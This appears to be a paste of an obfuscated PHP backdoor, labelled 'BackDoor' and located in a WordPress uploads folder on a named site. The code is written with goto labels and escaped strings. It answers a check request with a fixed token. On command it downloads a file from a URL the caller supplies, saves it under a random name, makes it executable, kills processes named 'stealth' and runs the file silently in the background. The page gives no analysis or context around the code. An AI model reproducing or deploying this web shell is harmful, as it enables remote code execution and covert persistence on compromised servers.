3 lines
1.9 KiB
Plaintext
3 lines
1.9 KiB
Plaintext
BackDoor: http://saiinfotech.net/wp-content/uploads/2019/07/direct.php
|
|
|
|
<?php goto df3bce5abd5; A0877fd2132: $e57fdd21539 = file_get_contents(trim($De2b76dcb9b)); goto c47c12134ca; ad3ddb9e406: if (!($_GET["\x63\x67"] == "\143\150\x6b")) { goto Ac16e597d99; } goto Ec0778008a8; df3bce5abd5: error_reporting(0); goto ad3ddb9e406; Dcf68dc9320: exec("\x70\x6b\151\154\154\40\x2d\146\40\55\71\x20\x73\x74\x65\141\x6c\x74\150"); goto A0877fd2132; Cf937f3e8a3: exec($c86058fc885); goto A106b0d4256; a11812bbeae: Ac16e597d99: goto c94e4588a58; a0c3b3f1f60: @unlink($Abe40aaedb8); goto b34d99278a8; F1484b8d10f: chmod($Abe40aaedb8, 0755); goto b72804dfe74; A106b0d4256: echo "\x6f\153"; goto B595590c2af; c8c0d7c6ec3: $De2b76dcb9b = $_POST["\x75\162\x6c"]; goto F6f14d209f8; D979c58fc0e: die; goto a11812bbeae; bc0e94ae976: $Abe40aaedb8 = substr(str_shuffle(str_repeat($Ec8f2abdda4 = "\60\61\62\63\64\65\x36\x37\70\71\141\x62\143\x64\x65\x66\147\150\x69\152\153\x6c\x6d\x6e\157\160\161\162\163\x74\165\166\167\170\x79\172\101\102\103\x44\105\106\x47\x48\111\x4a\x4b\114\115\x4e\117\x50\x51\x52\x53\124\125\x56\x57\x58\131\132", ceil(6 / strlen($Ec8f2abdda4)))), 1, 6); goto c8c0d7c6ec3; c94e4588a58: if (!($_POST["\x63\160"] == "\x64\157\x77\156\154\157\x61\144")) { goto Dddab5fe200; } goto bc0e94ae976; F6f14d209f8: if (empty($De2b76dcb9b)) { goto e2adee1ea9b; } goto a0c3b3f1f60; b72804dfe74: $c86058fc885 = "\x2e\57{$Abe40aaedb8}\x20\76\40\x2f\x64\x65\x76\57\156\x75\154\x6c\x20\x32\76\57\144\145\x76\57\156\165\x6c\x6c\x20\46"; goto Cf937f3e8a3; B595590c2af: e2adee1ea9b: goto B78ecffc9ba; b34d99278a8: exec("\160\x6b\x69\x6c\x6c\x20\x2d\71\40\x2d\146\x20\x73\164\145\141\x6c\164\x68"); goto Dcf68dc9320; Ec0778008a8: echo "\141\x75\x78\x36\124\150\x65\151\157\x47\150\165\x65\121\165\63"; goto D979c58fc0e; c47c12134ca: file_put_contents($Abe40aaedb8, $e57fdd21539); goto F1484b8d10f; B78ecffc9ba: Dddab5fe200: |